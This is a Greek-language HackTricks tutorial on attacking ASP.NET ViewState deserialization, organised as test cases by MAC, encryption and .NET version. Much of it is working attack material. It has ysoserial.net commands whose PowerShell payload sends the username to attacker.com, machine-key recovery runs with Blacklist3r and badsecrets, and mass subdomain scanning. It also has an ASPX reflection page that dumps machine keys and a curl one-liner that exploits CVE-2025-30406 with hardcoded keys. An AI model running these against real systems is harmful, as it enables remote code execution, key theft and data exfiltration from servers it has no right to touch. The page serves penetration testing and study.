Εκμετάλλευση __VIEWSTATE χωρίς να γνωρίζουμε τα μυστικά
Reading time: 13 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τι είναι το ViewState
ViewState λειτουργεί ως η προεπιλεγμένη μηχανή στο ASP.NET για τη διατήρηση δεδομένων σελίδας και ελέγχου σε διάφορες ιστοσελίδες. Κατά την απόδοση του HTML μιας σελίδας, η τρέχουσα κατάσταση της σελίδας και οι τιμές που πρέπει να διατηρηθούν κατά τη διάρκεια μιας postback σειριοποιούνται σε base64-encoded strings. Αυτές οι συμβολοσειρές τοποθετούνται σε κρυφά πεδία ViewState.
Οι πληροφορίες του ViewState μπορούν να χαρακτηριστούν από τις εξής ιδιότητες ή τους συνδυασμούς τους:
- Base64:
- Αυτός ο μορφή χρησιμοποιείται όταν και τα δύο χαρακτηριστικά
EnableViewStateMac
καιViewStateEncryptionMode
είναι ρυθμισμένα σε false. - Base64 + MAC (Message Authentication Code) Ενεργοποιημένο:
- Η ενεργοποίηση του MAC επιτυγχάνεται ρυθμίζοντας το χαρακτηριστικό
EnableViewStateMac
σε true. Αυτό παρέχει επαλήθευση ακεραιότητας για τα δεδομένα του ViewState. - Base64 + Κρυπτογραφημένο:
- Η κρυπτογράφηση εφαρμόζεται όταν το χαρακτηριστικό
ViewStateEncryptionMode
είναι ρυθμισμένο σε true, διασφαλίζοντας την εμπιστευτικότητα των δεδομένων του ViewState.
Δοκιμαστικές Περιπτώσεις
Η εικόνα είναι ένας πίνακας που περιγράφει διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET με βάση την έκδοση του .NET framework. Ακολουθεί μια σύνοψη του περιεχομένου:
- Για οποιαδήποτε έκδοση του .NET, όταν και οι δύο MAC και Κρυπτογράφηση είναι απενεργοποιημένες, δεν απαιτείται MachineKey, και επομένως δεν υπάρχει εφαρμόσιμη μέθοδος για να το προσδιορίσουμε.
- Για εκδόσεις κάτω από 4.5, εάν το MAC είναι ενεργοποιημένο αλλά η Κρυπτογράφηση δεν είναι, απαιτείται MachineKey. Η μέθοδος για τον προσδιορισμό του MachineKey αναφέρεται ως "Blacklist3r."
- Για εκδόσεις κάτω από 4.5, ανεξαρτήτως αν το MAC είναι ενεργοποιημένο ή απενεργοποιημένο, εάν η Κρυπτογράφηση είναι ενεργοποιημένη, απαιτείται MachineKey. Ο προσδιορισμός του MachineKey είναι έργο του "Blacklist3r - Future Development."
- Για εκδόσεις 4.5 και άνω, όλοι οι συνδυασμοί MAC και Κρυπτογράφησης (είτε και οι δύο είναι true, είτε το ένα είναι true και το άλλο false) απαιτούν MachineKey. Ο MachineKey μπορεί να προσδιοριστεί χρησιμοποιώντας το "Blacklist3r."
Δοκιμαστική Περίπτωση: 1 – EnableViewStateMac=false και viewStateEncryptionMode=false
Είναι επίσης δυνατή η πλήρης απενεργοποίηση του ViewStateMAC ρυθμίζοντας το κλειδί μητρώου AspNetEnforceViewStateMac
σε μηδέν στο:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
Αναγνώριση Χαρακτηριστικών ViewState
Μπορείτε να προσπαθήσετε να προσδιορίσετε αν το ViewState είναι προστατευμένο με MAC καταγράφοντας ένα αίτημα που περιέχει αυτή την παράμετρο με το BurpSuite. Αν το Mac δεν χρησιμοποιείται για την προστασία της παραμέτρου, μπορείτε να το εκμεταλλευτείτε χρησιμοποιώντας YSoSerial.Net
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server
Οι προγραμματιστές μπορούν να αφαιρέσουν το ViewState από το να γίνει μέρος ενός HTTP Request (ο χρήστης δεν θα λάβει αυτό το cookie).
Κάποιος μπορεί να υποθέσει ότι αν το ViewState είναι μη παρόν, η υλοποίησή τους είναι ασφαλής από οποιαδήποτε πιθανή ευπάθεια που προκύπτει από την αποσυμπίεση του ViewState.
Ωστόσο, αυτό δεν ισχύει. Αν προσθέσουμε την παράμετρο ViewState στο σώμα του αιτήματος και στείλουμε το σειριασμένο payload μας που δημιουργήθηκε χρησιμοποιώντας το ysoserial, θα μπορέσουμε ακόμα να επιτύχουμε εκτέλεση κώδικα όπως φαίνεται στην Περίπτωση 1.
Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
Για να ενεργοποιήσουμε το ViewState MAC για μια συγκεκριμένη σελίδα πρέπει να κάνουμε τις εξής αλλαγές σε ένα συγκεκριμένο αρχείο aspx:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
Μπορούμε επίσης να το κάνουμε για γενικά την εφαρμογή ρυθμίζοντάς το στο αρχείο web.config όπως φαίνεται παρακάτω:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
Καθώς η παράμετρος είναι προστατευμένη με MAC, αυτή τη φορά για να εκτελέσουμε επιτυχώς την επίθεση, πρώτα χρειάζεται το κλειδί που χρησιμοποιήθηκε.
Μπορείτε να προσπαθήσετε να χρησιμοποιήσετε Blacklist3r(AspDotNetWrapper.exe) για να βρείτε το κλειδί που χρησιμοποιήθηκε.
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets είναι ένα άλλο εργαλείο που μπορεί να εντοπίσει γνωστά machineKeys. Είναι γραμμένο σε Python, οπότε σε αντίθεση με το Blacklist3r, δεν έχει εξάρτηση από Windows. Για τα .NET viewstates, υπάρχει ένα εργαλείο "python blacklist3r", το οποίο είναι ο ταχύτερος τρόπος για να το χρησιμοποιήσετε.
Μπορεί να παρέχεται είτε με το viewstate και τον generator απευθείας:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
Ή, μπορεί να συνδεθεί απευθείας στη στοχοθετημένη διεύθυνση URL και να προσπαθήσει να αποσπάσει το viewstate από το HTML:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
Για να αναζητήσετε ευάλωτα viewstates σε μεγάλη κλίμακα, σε συνδυασμό με την καταμέτρηση υποτομέων, μπορεί να χρησιμοποιηθεί το badsecrets
BBOT module:
bbot -f subdomain-enum -m badsecrets -t evil.corp
Αν είστε τυχεροί και βρείτε το κλειδί, μπορείτε να προχωρήσετε με την επίθεση χρησιμοποιώντας YSoSerial.Net:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
Σε περιπτώσεις όπου η παράμετρος _VIEWSTATEGENERATOR
δεν αποστέλλεται από τον διακομιστή, δεν χρειάζεται να παρέχετε την παράμετρο --generator
αλλά αυτές τις:
--apppath="/" --path="/hello.aspx"
Test Case: 3 – .Net < 4.5 και EnableViewStateMac=true/false και ViewStateEncryptionMode=true
Σε αυτή την περίπτωση δεν είναι γνωστό αν η παράμετρος είναι προστατευμένη με MAC. Τότε, η τιμή είναι πιθανώς κρυπτογραφημένη και θα χρειαστείτε το Machine Key για να κρυπτογραφήσετε το payload σας για να εκμεταλλευτείτε την ευπάθεια.
Σε αυτή την περίπτωση το Blacklist3r module είναι υπό ανάπτυξη...
Πριν από το .NET 4.5, το ASP.NET μπορεί να δέχεται μια μη κρυπτογραφημένη ___VIEWSTATE
_παράμετρο από τους χρήστες ακόμα και αν ViewStateEncryptionMode
έχει οριστεί σε Always. Το ASP.NET ελέγχει μόνο την παρουσία της __VIEWSTATEENCRYPTED
παραμέτρου στο αίτημα. Αν κάποιος αφαιρέσει αυτή την παράμετρο και στείλει το μη κρυπτογραφημένο payload, θα επεξεργαστεί κανονικά.
Επομένως, αν οι επιτιθέμενοι βρουν έναν τρόπο να αποκτήσουν το Machinekey μέσω άλλης ευπάθειας όπως η διαδρομή αρχείων, η εντολή YSoSerial.Net που χρησιμοποιήθηκε στην Περίπτωση 2, μπορεί να χρησιμοποιηθεί για να εκτελέσει RCE χρησιμοποιώντας την ευπάθεια αποσυμπίεσης ViewState.
- Αφαιρέστε την παράμετρο
__VIEWSTATEENCRYPTED
από το αίτημα προκειμένου να εκμεταλλευτείτε την ευπάθεια αποσυμπίεσης ViewState, αλλιώς θα επιστρέψει ένα σφάλμα επικύρωσης MAC Viewstate και η εκμετάλλευση θα αποτύχει.
Test Case: 4 – .Net >= 4.5 και EnableViewStateMac=true/false και ViewStateEncryptionMode=true/false εκτός αν και οι δύο παράμετροι είναι false
Μπορούμε να αναγκάσουμε τη χρήση του πλαισίου ASP.NET καθορίζοντας την παρακάτω παράμετρο μέσα στο αρχείο web.config όπως φαίνεται παρακάτω.
<httpRuntime targetFramework="4.5" />
Εναλλακτικά, αυτό μπορεί να γίνει καθορίζοντας την παρακάτω επιλογή μέσα στην παράμετρο machineKey
του αρχείου web.config.
compatibilityMode="Framework45"
Όπως και στην προηγούμενη περίπτωση, το value είναι κρυπτογραφημένο. Στη συνέχεια, για να στείλει μια έγκυρη payload ο επιτιθέμενος χρειάζεται το κλειδί.
Μπορείτε να προσπαθήσετε να χρησιμοποιήσετε Blacklist3r(AspDotNetWrapper.exe) για να βρείτε το κλειδί που χρησιμοποιείται:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
Για μια πιο λεπτομερή περιγραφή για IISDirPath και TargetPagePath ανατρέξτε εδώ
Ή, με Badsecrets (με μια τιμή γεννήτριας):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
Μόλις εντοπιστεί ένα έγκυρο Machine key, το επόμενο βήμα είναι να δημιουργηθεί ένα σειριοποιημένο payload χρησιμοποιώντας YSoSerial.Net
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
Αν έχετε την τιμή του __VIEWSTATEGENERATOR
, μπορείτε να προσπαθήσετε να χρησιμοποιήσετε την παράμετρο --generator
με αυτή την τιμή και να παραλείψετε τις παραμέτρους --path
και --apppath
.
Μια επιτυχής εκμετάλλευση της ευπάθειας αποσυμπίεσης του ViewState θα οδηγήσει σε ένα out-of-band αίτημα σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο, το οποίο περιλαμβάνει το όνομα χρήστη. Αυτός ο τύπος εκμετάλλευσης αποδεικνύεται σε μια απόδειξη της έννοιας (PoC) που μπορεί να βρεθεί μέσω ενός πόρου με τίτλο "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Για περισσότερες λεπτομέρειες σχετικά με το πώς λειτουργεί η διαδικασία εκμετάλλευσης και πώς να χρησιμοποιήσετε εργαλεία όπως το Blacklist3r για να εντοπίσετε το MachineKey, μπορείτε να αναθεωρήσετε την παρεχόμενη PoC of Successful Exploitation.
Test Case 6 – Χρησιμοποιείται το ViewStateUserKeys
Η ιδιότητα ViewStateUserKey μπορεί να χρησιμοποιηθεί για να αμυνθεί κατά ενός CSRF attack. Αν μια τέτοια κλειδί έχει οριστεί στην εφαρμογή και προσπαθήσουμε να δημιουργήσουμε το ViewState payload με τις μεθόδους που συζητήθηκαν μέχρι τώρα, το payload δεν θα επεξεργαστεί από την εφαρμογή.
Πρέπει να χρησιμοποιήσετε μία ακόμη παράμετρο για να δημιουργήσετε σωστά το payload:
--viewstateuserkey="randomstringdefinedintheserver"
Αποτέλεσμα Μιας Επιτυχούς Εκμετάλλευσης
Για όλες τις περιπτώσεις δοκιμών, αν το payload ViewState YSoSerial.Net λειτουργεί επιτυχώς, τότε ο διακομιστής απαντά με “500 Internal server error” έχοντας περιεχόμενο απάντησης “Η πληροφορία κατάστασης είναι μη έγκυρη για αυτή τη σελίδα και μπορεί να είναι κατεστραμμένη” και λαμβάνουμε το OOB request.
Ελέγξτε για περισσότερες πληροφορίες εδώ
Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)
Οι επιτιθέμενοι που είναι σε θέση να ανεβάσουν ή να εκτελέσουν αυθαίρετο ASPX κώδικα μέσα στη ρίζα του στόχου ιστού μπορούν να ανακτήσουν άμεσα τα μυστικά κλειδιά που προστατεύουν το __VIEWSTATE
αντί να τα σπάσουν με brute force.
Ένα ελάχιστο payload που διαρρέει τα κλειδιά εκμεταλλεύεται εσωτερικές κλάσεις .NET μέσω reflection:
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
Η αίτηση της σελίδας εκτυπώνει το ValidationKey, DecryptionKey, τον αλγόριθμο κρυπτογράφησης και τη λειτουργία συμβατότητας ASP.NET. Αυτές οι τιμές μπορούν τώρα να τροφοδοτηθούν απευθείας στο ysoserial.net για να δημιουργηθεί ένα έγκυρο, υπογεγραμμένο gadget __VIEWSTATE
:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
Αυτή η πρωτογενής εξαγωγή κλειδιών εκμεταλλεύτηκε μαζικά σε τοπικούς διακομιστές SharePoint το 2025 ("ToolShell" – CVE-2025-53770/53771), αλλά είναι εφαρμόσιμη σε οποιαδήποτε εφαρμογή ASP.NET όπου ένας επιτιθέμενος μπορεί να εκτελέσει κώδικα στον διακομιστή.
Σενάρια Πραγματικής Εκμετάλλευσης 2024-2025 και Σκληρά Κωδικοποιημένα Κλειδιά Μηχανής
Κύμα “δημόσια αποκαλυφθέντων κλειδιών μηχανής” της Microsoft (Δεκ 2024 – Φεβ 2025)
Η Microsoft Threat Intelligence ανέφερε μαζική εκμετάλλευση ιστότοπων ASP.NET όπου το machineKey είχε προηγουμένως διαρρεύσει σε δημόσιες πηγές (GitHub gists, αναρτήσεις ιστολογίων, ιστότοποι paste). Οι αντίπαλοι απαρίθμησαν αυτά τα κλειδιά και δημιούργησαν έγκυρα __VIEWSTATE
gadgets με τις νεότερες σημαίες ysoserial.net
1.41 --minify
και --islegacy
για να παρακάμψουν τα όρια μήκους WAF:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
Η περιστροφή στατικών κλειδιών ή η αλλαγή σε AutoGenerate κλειδιά στο Web .config (<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />
) μετριάζει αυτή την κατηγορία επιθέσεων.
CVE-2025-30406 – Gladinet CentreStack / Triofox σκληρά κωδικοποιημένα κλειδιά
Η Kudelski Security αποκάλυψε ότι πολλές εκδόσεις του CentreStack / Triofox παρέχονταν με ταυτόσημες τιμές machineKey
, επιτρέποντας μη αυθεντικοποιημένη απομακρυσμένη εκτέλεση κώδικα μέσω πλαστογράφησης ViewState (CVE-2025-30406).
One-liner exploit:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
Fixed in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – αναβαθμίστε ή αντικαταστήστε τα κλειδιά άμεσα.
References
- Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET
- Deep dive into .NET ViewState deserialization and its exploitation
- Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)
- Introducing badsecrets – fast machineKey discovery
- SharePoint “ToolShell” exploitation chain (Eye Security, 2025)
- Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)
- Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
- SharePoint “ToolShell” exploitation chain (Eye Security, 2025)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.